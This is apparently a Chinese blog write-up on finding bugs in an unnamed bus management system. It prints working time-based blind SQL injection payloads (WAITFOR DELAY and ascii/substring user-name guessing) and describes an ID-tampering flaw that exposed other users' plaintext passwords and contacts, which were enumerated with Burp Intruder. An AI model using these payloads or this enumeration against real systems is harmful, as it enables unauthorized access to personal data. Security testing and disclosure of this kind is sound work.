首页 > 数据库 >某公交管理系统简易逻辑漏洞+SQL注入挖掘

某公交管理系统简易逻辑漏洞+SQL注入挖掘

时间:2025-01-18 13:33:58浏览次数:1  
标签:用户名 管理系统 漏洞 burp SQL 100 数据包 注入

某公交管理系统挖掘

SQL注入漏洞

前台通过给的账号密码,进去

按顺序依次点击1、2、3走一遍功能点,然后开启抓包点击4

当点击上图的4步骤按钮时,会抓到图下数据包,将其转发到burp的重放模块

构造以下注入poc,可见注入延时了五秒,用户输入的语句成功拼接到原有的SQL语句上执行了 下面的poc是MenuIds的值

100,101,151,152,153,154,200,201,202,203,204,300,301,302,303,305,306,307,308,311,312,313,314,400,401,800,801,802,805,806,850,851,852,853,861,862,863,870,880,900,9070,9071,9080,9081,9082,9083,9084,9085,9086,9093’;WAITFOR DELAY ’0:0:5’ --

下面开始进行注入拿数据,构造下面poc,对数据库当前用户名进行查询

100,101,151,152,153,154,200,201,202,203,204,300,301,302,303,305,306,307,308,311,312,313,314,400,401,800,801,802,805,806,850,851,852,853,861,862,863,870,880,900,9070,9071,9080,9081,9082,9083,9084,9085,9086,9093’;if(ascii(substring((select user),1,1)))=116 WAITFOR DELAY ’0:0:5’ --

成功延时5秒,说明数据库当前用户名第一个字母为t,下面继续对数据库用户名第N位字母进行猜解

后面通过注入我成功拿到当前数据库用户名

越权漏洞

在点击上图中的编辑按钮时,开启抓包,抓到下图示数据包。

将数据包发送到burp的重放模块,然后将id值改为1

可以看见明文看见其他用户的账户密码、手机号、邮箱等敏感信息,我们可以利用这个信息进行登录等操作 再次将数据包转发到burp的Intruder模块,进行1-100遍历id值,可见也是将全站用户信息都可以遍历出来了,此处就只展示测试数据了。

标签:用户名,管理系统,漏洞,burp,SQL,100,数据包,注入
From: https://www.cnblogs.com/cn-sec-/p/18678388

相关文章

  • 简易短信轰炸漏洞挖掘
    大致流程手机号等数据被加密,通过逆向找到加密方式—>对手机号加密发送验证码—>手机带着标识值给服务器—>服务器会给手机重新生成一个标识值—>利用服务器重新生成的标识值再发送给服务器挖掘流程逆向找出加密方式及密钥通过断点逆向找出加密方式及密钥 AES-ECB加密 U0Xg5......
  • Java使用sql查询mongodb
    概述MongoDB是一种NoSQL数据库,它使用文档存储数据,与传统的关系型数据库不同。尽管MongoDB不使用SQL进行查询,但有时在熟悉SQL语法的团队中,能够使用SQL查询MongoDB可以大大简化开发工作。本文将详细介绍如何在Java中使用SQL查询MongoDB。工具与依赖要实现这一......
  • node.js旅游管理系统的开发与设计程序+论文 可用于毕业设计
    本系统(程序+源码+数据库+调试部署+开发环境)带文档lw万字以上,文末可获取源码系统程序文件列表开题报告内容选题背景关于旅游管理系统开发与设计问题的研究,现有研究主要以传统的系统功能实现为主,如简单的订单管理、路线展示等。专门针对满足多样化用户需求、提升用户体验以......
  • 基于Spring Boot的装饰工程管理系统【附源码】
    基于SpringBoot的装饰工程管理系统效果如下:系统登陆页面合同管理页面立项项目页面审核页面合同管理页面合同报价管理页面研究背景随着我国经济的快速发展,装饰行业市场潜力巨大,竞争日益激烈。传统的装饰工程管理方式多采用人工操作,导致信息流转不畅、资源利......
  • springboot+vue+java大学生健康管理系统 867i9
    目录系统实现截图开发核心技术介绍技术栈核心代码部分展示操作手册视频演示/源码获取系统实现截图开发核心技术介绍springboot+Element-UI+vue本系统采用MVVM模式,开发框架使用SpringBoot框架,开发工具使用IDEA,VisualStudioCode,Web服务器使用Tomcat,数据库服......
  • Python智慧校园通作业互动系统的设计与实现(Pycharm Flask Django Vue mysql)
    文章目录具体实现截图项目技术介绍django项目示例设计思路核心代码部分展示运行指导可行性分析论文写作思路开发心得源码/演示视频获取方式具体实现截图项目技术介绍Python版本:python3.7.7框架支持:flask/django开发软件:PyCharm浏览器:谷歌浏览器数据库:mys......
  • 2.通讯录管理系统
    #include<iostream>#include<string>usingnamespacestd;#defineMAX1000voidshowMenu(){ cout<<"***************************"<<endl; cout<<"*****1、添加联系人*****"<<endl; cout<<......
  • 首发 最新AWVS/Acunetix Premium V24.8高级版漏洞扫描器(最新版)Windows/Linux下载
    前言AcunetixPremium是一种Web应用程序安全解决方案,用于管理多个网站、Web应用程序和API的安全。集成功能允许您自动化DevOps和问题管理基础架构。AcunetixPremium:全面的Web应用程序安全解决方案Web应用程序对于企业和组织与客户、合作伙伴和员工的联系至关重要。......
  • 计算机毕业设计Springboot奶茶店销售管理系统设计 基于Springboot的奶茶店销售管理系
    计算机毕业设计Springboot奶茶店销售管理系统设计c1bs36ep(配套有源码程序mysql数据库论文)本套源码可以先看具体功能演示视频领取,文末有联xi可分享随着现代生活节奏的加快和消费者偏好的持续演变,奶茶店作为流行的饮品消费场所,其市场竞争激烈,同时面临着多样化和个性化的消......
  • 基于springboot头条文章管理系统[编号:project44558]
    收藏关注不迷路!!......